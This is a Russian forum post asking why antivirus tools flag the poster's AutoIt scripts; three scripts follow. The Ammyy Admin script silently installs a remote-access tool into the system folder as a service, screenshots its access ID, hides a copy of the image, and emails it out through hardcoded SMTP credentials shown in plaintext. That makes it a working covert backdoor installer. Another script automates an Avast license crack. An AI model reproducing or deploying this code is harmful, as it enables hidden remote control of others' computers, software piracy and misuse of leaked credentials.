Юрий
Новичок
- Сообщения
- 82
- Репутация
- 3
День добрый. Автоматизировал Ammyy но его как вирус распознал Avast и Dr. Web (когда я его на яндекс диск залил). Это моя не первая автоматизация и принцип действия антивируса мне не понятен - кряки автоматизированные он игнорирует, а обыкновенные - материт. В чём беда? Пытался искать различия между тем скриптом который "вирус" и который проигнорирован - особых различий не нашёл(
Код Ammyy Admin:
Код Picasa 3.9:
Кряк Аваста:
Код Ammyy Admin:
Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_ProductVersion=3.4.0.0
#AutoIt3Wrapper_Res_Description=Программа удалённого управления
#AutoIt3Wrapper_Res_requestedExecutionLevel=requireAdministrator
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region <<< Библиотеки и Опции >>>
;~ #NoTrayIcon
#RequireAdmin
#include <ScreenCapture.au3>
Opt("WinTitleMatchMode" , 2)
Opt("TrayIconDebug" , 1)
Opt("SendKeyDownDelay" , 5)
Opt("SendKeyDelay" , 100)
Opt("SendAttachMode" , 1)
#EndRegion
#Region <<< Переменные >>>
Global $ToAddress = "[email protected]"
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
#EndRegion
#Region <<< Функции >>>
Main()
Func Main()
Switch @OSVersion
Case "WIN_XP"
local $Path_AllUsers = @AppDataCommonDir & "\AMMYY"
DirCreate(@SystemDir & "\int")
FileInstall("AA_v3.exe" , @SystemDir & "\int\AA_v3.exe" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
Sleep(1000)
MakeScreenCapture()
WinClose("Ammyy Admin")
FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
ServiceActivation()
WinClose("Ammyy Admin")
SendAnEmail()
MsgBox(64 , "Программа" , "Готово!" , 1)
Case Else
Local $Path_ProgrammData = @HomeDrive & "\ProgramData\AMMYY"
local $Path_AllUsers = @HomeDrive & "\Users\All Users\AMMYY"
DirCreate(@WindowsDir & "\system32\int")
FileInstall("AA_v3.exe" , @WindowsDir & "\system32\int\AA_v3.exe" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
Sleep(1000)
MakeScreenCapture()
WinClose("Ammyy Admin")
FileInstall("settings3.bin" , $Path_AllUsers & "\settings3.bin" , 1)
FileInstall("settings3.bin" , $Path_ProgrammData & "\settings3.bin" , 1)
Run(@SystemDir & "\int\AA_v3.exe" , @WindowsDir)
ServiceActivation()
WinClose("Ammyy Admin")
SendAnEmail()
MsgBox(64 , "Программа" , "Готово!" , 1)
EndSwitch
Exit
EndFunc
Func ServiceActivation()
Sleep(500)
WinWait("Ammyy Admin v3.5 - Free")
WinActivate("Ammyy Admin v3.5 - Free")
Send("{LALT}")
Sleep(10)
Send("{DOWN 3}{RIGHT}{ENTER}")
WinWait("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
WinActivate("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен")
ControlClick("Ammyy Admin" , "Сервис Ammyy Admin успешно установлен" , "[CLASS:Button; INSTANCE:1]")
WinActivate("Ammyy Admin v3.5 - Free")
Send("{ALT}")
Sleep(10)
Send("{DOWN 3}{RIGHT}{DOWN}{ENTER}")
WinWait("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
WinActivate("Ammyy Admin" , "Сервис Ammyy Admin запущен.")
ControlClick("Ammyy Admin" , "Сервис Ammyy Admin запущен." , "[CLASS:Button; INSTANCE:1]")
EndFunc
Func MakeScreenCapture()
Local $AmmyyPos = WinGetPos("Ammyy Admin")
If @error Then Exit(1)
_ScreenCapture_Capture(@TempDir & '\Ammyy.jpg' , $AmmyyPos[0] , $AmmyyPos[1] , $AmmyyPos[0] + $AmmyyPos[2] , $AmmyyPos[1]+ $AmmyyPos[3])
Local $NewFileName = TimeAndDate()
FileCopy(@TempDir & "\Ammyy.jpg" , $NewFileName , 1)
FileSetAttrib($NewFileName , "+SH")
EndFunc
Func TimeAndDate()
Local $Return = @ScriptDir & "\Ammyy " & @HOUR & "." & @MIN & " " & @MDAY & "." & @MON & "." & @YEAR & ".jpg"
Return $Return
EndFunc
Func SendAnEmail()
Local $SmtpServer, $FromName, $FromAddress, $Subject, $Body, $Username, $Password, $IPPort, $ssl
$SmtpServer = "smtp.yandex.ru"
$FromName = "Ammyy Admin ID"
$FromAddress = "[email protected]"
$Subject = "Print Screen окна Ammyy Admin"
$Body = "<h1>Ammyy Admin</h1><p>Всё для вас, всё для вас =)
" & @MDAY & "." & @MON & "." & @YEAR & " " & @HOUR & ":" & @MIN & "</p>"
$Username = "yur.reg"
$Password = "17021997yur"
$IPPort = 465
$ssl = 1
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $FromName & '" <' & $FromAddress & '>'
$objEmail.To = $ToAddress
$objEmail.Subject = $Subject
$objEmail.HTMLBody = $Body
$objEmail.AddAttachment(@TempDir & '\Ammyy.jpg')
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $SmtpServer
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $Username
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $Password
If $ssl Then $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
$objEmail.Configuration.Fields.Update
$objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
$objEmail.Fields.Update
$objEmail.Send
$objEmail = ""
EndFunc
Func MyErrFunc()
Sleep(1)
EndFunc
#EndRegion
Код Picasa 3.9:
Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_Description=Google Picasa
#AutoIt3Wrapper_Res_Fileversion=3.9.0.0
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region <<< Библиотеки и Опции >>>
FileInstall("Picasa 3.9 Setup.exe", @TempDir & "\Picasa 3.9 Setup.exe", 1)
#EndRegion <<< Библиотеки и Опции >>>
#Region <<< Функции >>>
Main()
Func Main()
Local $Title = "Установка Picasa 3 "
ShellExecute(@TempDir & "\Picasa 3.9 Setup.exe", "", @WindowsDir)
WinWait($Title)
Sleep(300)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:2]")
WinWait($Title , "Программа установит Picasa 3 в указанную папку.")
Sleep(20)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:2]")
WinWait($Title , "Завершение работы мастера установки Picasa 3")
Sleep(20)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:5]")
Sleep(10)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:6]")
Sleep(10)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:7]")
Sleep(10)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:8]")
Sleep(10)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:4]")
Sleep(10)
ControlClick($Title , "" , "[CLASS:Button; INSTANCE:2]")
;;======;;
FileDelete(@TempDir & "\Picasa 3.9 Setup.exe")
Exit
EndFunc ;==>Main
#EndRegion <<< Функции >>>
Кряк Аваста:
Код:
#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=icon.ico
#AutoIt3Wrapper_Res_Comment=Licence for Avast! to 2050
#AutoIt3Wrapper_Res_Fileversion=3.3.10.1
#AutoIt3Wrapper_Res_requestedExecutionLevel=highestAvailable
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region <<< Библиотеки и Опции >>>
FileInstall("Avast License ZeNiX 2012-06-29.exe" , @TempDir & "\Avast License ZeNiX 2012-06-29.exe" , 1)
If @OSVersion = "WIN_XP" Then
FileInstall("AVAST XP ZeNiX.reg" , @TempDir & "\AVAST XP ZeNiX.reg" , 1)
ShellExecute(@TempDir & "\AVAST XP ZeNiX.reg" , "" , @WindowsDir)
WinWait("Редактор реестра")
Sleep(50)
ControlClick("Редактор реестра" , "" , "[CLASS:Button; INSTANCE:1]")
Sleep(50)
ControlClick("Редактор реестра" , "" , "[CLASS:Button; INSTANCE:1]")
FileDelete(@TempDir & "\AVAST XP ZeNiX.reg")
EndIf
#EndRegion
#Region <<< Функции >>>
_Main()
Func _Main()
ShellExecute(@TempDir & "\Avast License ZeNiX 2012-06-29.exe" , "" , @WindowsDir)
Local $Class = "[CLASS:TWizardForm]"
WinWait("[CLASS:TSelectLanguageForm]")
ControlSend("[CLASS:TSelectLanguageForm]" , "" , "[CLASS:TNewComboBox; INSTANCE:1]" , "{UP 2}")
ControlClick("[CLASS:TSelectLanguageForm]" , "" , "[CLASS:TNewButton; INSTANCE:1]")
Sleep(50)
WinWait($Class , "Welcome to the Avast")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:1]")
Sleep(50)
WinWait($Class , "License Agreement")
ControlClick($Class , "" , "[CLASS:TNewRadioButton; INSTANCE:1]")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:2]")
Sleep(50)
WinWait($Class , "Password")
ControlSend($Class , "" , "[CLASS:TPasswordEdit; INSTANCE:1]" , "ZeNiX")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:2]")
Sleep(50)
WinWait($Class , "Information")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:2]")
Sleep(50)
WinWait($Class , "Ready to Install")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:2]")
Sleep(50)
WinWait($Class , "Completing")
ControlClick($Class , "" , "[CLASS:TNewRadioButton; INSTANCE:2]")
ControlClick($Class , "" , "[CLASS:TNewButton; INSTANCE:2]")
FileDelete(@TempDir & "\Avast License ZeNiX 2012-06-29.exe")
EndFunc
#EndRegion